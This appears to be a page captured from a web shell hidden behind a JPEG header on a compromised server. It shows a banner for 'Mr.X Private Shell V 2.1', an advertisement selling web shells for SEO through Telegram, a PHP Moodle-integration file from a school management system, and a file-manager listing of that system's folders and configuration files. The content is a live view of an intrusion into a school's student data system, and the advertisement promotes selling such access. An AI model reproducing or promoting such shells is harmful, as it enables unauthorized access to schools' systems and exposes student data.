����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Set Moodle plugin configuration options
*
* @since 6.0
* @since 11.5 Add REST API protocol
*
* @return bool False if ! UserSchool() or empty constants.
*/
function MoodleConfig()
{
static $defined_constants = false;
if ( ! UserSchool() )
{
return false;
}
if ( ! $defined_constants )
{
$defined_constants = true;
// Define constants for plugin use.
// Example: http://localhost/moodle
define( 'MOODLE_URL', ProgramConfig( 'moodle', 'MOODLE_URL' ) );
// Example: rest
define(
'MOODLE_API_PROTOCOL',
( ProgramConfig( 'moodle', 'MOODLE_API_PROTOCOL' ) ?
ProgramConfig( 'moodle', 'MOODLE_API_PROTOCOL' ) : 'xmlrpc' )
);
// Example: d6c51ea6ffd9857578722831bcb070e1
define( 'MOODLE_TOKEN', ProgramConfig( 'moodle', 'MOODLE_TOKEN' ) );
// Example: 10
define( 'MOODLE_PARENT_ROLE_ID', ProgramConfig( 'moodle', 'MOODLE_PARENT_ROLE_ID' ) );
$email_field = null;
if ( Config( 'STUDENTS_EMAIL_FIELD' ) )
{
$email_field = Config( 'STUDENTS_EMAIL_FIELD' ) === 'USERNAME' ?
Config( 'STUDENTS_EMAIL_FIELD' ) : 'CUSTOM_' . (int) Config( 'STUDENTS_EMAIL_FIELD' );
}
// Example: 11 => CUSTOM_11.
define( 'ROSARIO_STUDENTS_EMAIL_FIELD', $email_field );
}
return MOODLE_URL
&& MOODLE_TOKEN
&& MOODLE_PARENT_ROLE_ID
&& ROSARIO_STUDENTS_EMAIL_FIELD;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Custom | Folder | 0755 |
|
|
| Grades | Folder | 0755 |
|
|
| Scheduling | Folder | 0755 |
|
|
| School_Setup | Folder | 0755 |
|
|
| Students | Folder | 0755 |
|
|
| Users | Folder | 0755 |
|
|
| includes | Folder | 0755 |
|
|
| README.md | File | 1.83 KB | 0644 |
|
| client.php | File | 3.62 KB | 0644 |
|
| config.inc.php | File | 8.44 KB | 0644 |
|
| functions.php | File | 25.87 KB | 0644 |
|
| getconfig.inc.php | File | 1.3 KB | 0644 |
|